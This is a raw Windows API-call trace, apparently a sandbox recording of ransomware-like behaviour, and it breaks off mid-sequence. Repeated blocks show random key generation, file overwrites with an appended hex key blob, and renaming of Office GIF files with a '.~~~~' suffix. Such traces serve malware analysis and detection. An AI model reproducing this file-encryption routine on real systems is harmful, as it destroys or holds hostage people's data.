	[0128.036] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38ec70 | out: hHeap=0x300000) returned 1
	[0128.036] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0128.036] GetLastError () returned 0x0
	[0128.036] GetLastError () returned 0x0
	[0128.036] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0128.036] GetLastError () returned 0x0
	[0128.036] GetLastError () returned 0x0
	[0128.038] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffff76, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.038] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x8a, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x8a, lpOverlapped=0x0) returned 1
	[0128.040] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.040] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.040] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.040] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.041] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.041] CloseHandle (hObject=0x13c) returned 1
	[0128.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38ec70
	[0128.041] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15173_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15173_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15173_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15173_.gif.~~~~")) returned 1
	[0128.044] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38ec70 | out: hHeap=0x300000) returned 1
	[0128.044] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0128.044] GetLastError () returned 0x0
	[0128.045] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0128.046] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.046] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0128.046] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.047] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0128.047] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0128.047] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24803683041) returned 1
	[0128.047] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb5c5d7d0, dwHighDateTime=0x1d60e1e)) 
	[0128.047] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0128.047] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0128.047] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0128.047] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b020
	[0128.047] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.047] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b020 | out: hHeap=0x300000) returned 1
	[0128.047] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x2a4f2a8
	[0128.048] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.048] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38ed18
	[0128.048] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a4f2a8 | out: hHeap=0x300000) returned 1
	[0128.048] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.048] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38ed18 | out: hHeap=0x300000) returned 1
	[0128.048] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0128.048] GetLastError () returned 0x0
	[0128.048] GetLastError () returned 0x0
	[0128.049] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0128.049] GetLastError () returned 0x0
	[0128.049] GetLastError () returned 0x0
	[0128.051] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffffe38, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.051] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x1c8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x1c8, lpOverlapped=0x0) returned 1
	[0128.053] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.053] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.053] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.054] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.054] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.054] CloseHandle (hObject=0x13c) returned 1
	[0128.054] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38ed18
	[0128.054] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15272_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15272_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15272_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15272_.gif.~~~~")) returned 1
	[0128.056] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38ed18 | out: hHeap=0x300000) returned 1
	[0128.056] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0128.056] GetLastError () returned 0x0
	[0128.057] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0128.058] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.058] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0128.058] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.058] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0128.058] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0128.058] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24804856505) returned 1
	[0128.059] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb5c83930, dwHighDateTime=0x1d60e1e)) 
	[0128.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0128.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0128.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0128.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b058
	[0128.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.059] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b058 | out: hHeap=0x300000) returned 1
	[0128.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x2a4f2a8
	[0128.059] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38edc0
	[0128.059] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a4f2a8 | out: hHeap=0x300000) returned 1
	[0128.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.059] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38edc0 | out: hHeap=0x300000) returned 1
	[0128.059] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0128.060] GetLastError () returned 0x0
	[0128.060] GetLastError () returned 0x0
	[0128.060] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0128.060] GetLastError () returned 0x0
	[0128.060] GetLastError () returned 0x0
	[0128.062] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffff47, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.062] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xb9, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0xb9, lpOverlapped=0x0) returned 1
	[0128.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.065] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.065] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.065] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.065] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.065] CloseHandle (hObject=0x13c) returned 1
	[0128.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38edc0
	[0128.066] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15273_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15273_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15273_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15273_.gif.~~~~")) returned 1
	[0128.068] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38edc0 | out: hHeap=0x300000) returned 1
	[0128.068] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0128.068] GetLastError () returned 0x0
	[0128.069] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0128.071] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.071] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0128.071] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.071] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0128.071] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0128.071] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24806116508) returned 1
	[0128.071] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb5ca9a90, dwHighDateTime=0x1d60e1e)) 
	[0128.071] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0128.071] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0128.071] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0128.071] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b090
	[0128.071] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.072] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b090 | out: hHeap=0x300000) returned 1
	[0128.072] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x2a4f2a8
	[0128.072] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.072] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38ee68
	[0128.072] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a4f2a8 | out: hHeap=0x300000) returned 1
	[0128.072] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.072] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38ee68 | out: hHeap=0x300000) returned 1
	[0128.072] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0128.072] GetLastError () returned 0x0
	[0128.073] GetLastError () returned 0x0
	[0128.073] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0128.073] GetLastError () returned 0x0
	[0128.073] GetLastError () returned 0x0
	[0128.075] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffff30, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.075] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0xd0, lpOverlapped=0x0) returned 1
	[0128.077] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.077] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.078] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.078] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.078] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.078] CloseHandle (hObject=0x13c) returned 1
	[0128.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38ee68
	[0128.078] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15274_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15274_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15274_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15274_.gif.~~~~")) returned 1
	[0128.080] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38ee68 | out: hHeap=0x300000) returned 1
	[0128.080] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0128.080] GetLastError () returned 0x0
	[0128.081] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0128.082] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.082] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0128.082] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.082] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0128.082] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0128.082] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24807256739) returned 1
	[0128.083] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb5ca9a90, dwHighDateTime=0x1d60e1e)) 
	[0128.083] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0128.083] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0128.083] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0128.083] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b0c8
	[0128.083] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.083] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b0c8 | out: hHeap=0x300000) returned 1
	[0128.083] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x2a4f2a8
	[0128.083] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.083] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38ef10
	[0128.083] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a4f2a8 | out: hHeap=0x300000) returned 1
	[0128.083] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.083] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38ef10 | out: hHeap=0x300000) returned 1
	[0128.083] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0128.084] GetLastError () returned 0x0
	[0128.084] GetLastError () returned 0x0
	[0128.084] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0128.084] GetLastError () returned 0x0
	[0128.084] GetLastError () returned 0x0
	[0128.099] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffffc1, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.099] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x3f, lpOverlapped=0x0) returned 1
	[0128.101] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.101] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.101] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.101] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.101] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.101] CloseHandle (hObject=0x13c) returned 1
	[0128.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38edc0
	[0128.103] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15275_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15275_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15275_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15275_.gif.~~~~")) returned 1
	[0128.106] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38edc0 | out: hHeap=0x300000) returned 1
	[0128.106] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0128.106] GetLastError () returned 0x0
	[0128.107] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x29fe0a8) returned 1
	[0128.108] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.108] CryptReleaseContext (hProv=0x29fe0a8, dwFlags=0x0) returned 1
	[0128.108] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0128.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0128.108] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24809813365) returned 1
	[0128.108] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb5cf5d50, dwHighDateTime=0x1d60e1e)) 
	[0128.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0128.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0128.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0128.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b100
	[0128.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.109] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b100 | out: hHeap=0x300000) returned 1
	[0128.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
